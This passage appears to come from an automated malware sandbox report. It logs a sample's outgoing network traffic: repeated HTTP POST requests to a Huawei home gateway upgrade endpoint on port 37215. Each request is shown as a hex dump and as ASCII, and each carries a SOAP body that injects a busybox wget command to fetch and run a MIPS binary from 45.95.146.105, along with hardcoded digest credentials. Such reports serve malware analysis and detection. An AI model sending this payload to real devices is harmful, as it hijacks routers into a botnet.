61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:44.386487961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:00.512244940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:33.279545069 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	50508	156.254.36.36	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:28.610693932 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:30.180485964 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:32.004132032 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:35.683809996 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:43.106570005 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:57.696631908 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 